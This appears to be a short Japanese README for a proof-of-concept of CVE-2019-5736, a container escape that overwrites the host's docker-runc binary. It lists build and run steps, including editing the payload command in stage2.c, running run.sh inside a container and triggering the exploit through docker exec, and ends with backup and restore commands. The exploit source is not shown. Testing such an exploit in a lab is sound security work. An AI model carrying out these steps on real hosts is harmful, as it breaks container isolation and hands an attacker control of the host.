cve-2019-5736-poc

実行手順:

• (1). stage2.c 内の poc コマンドを編集
• (2). docker をビルド docker build -t cve .
• (3). docker を実行 docker run -d cve /bin/bash -c "tail -f /dev/null"
• (4). docker-runc をバックアップ cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
• (5). docker exec -it docker-id /bin/bash
• (6). docker 内で実行 cd /root && ./run.sh && exit
• (7). docker exec -it docker-id /bin/bash、成功!!

`strings /usr/bin/docker-runc | tail -n 2` を実行して docker-runc を表示

`cp /usr/bin/docker-runc.bak /usr/bin/docker-runc` を実行して docker-runc を復元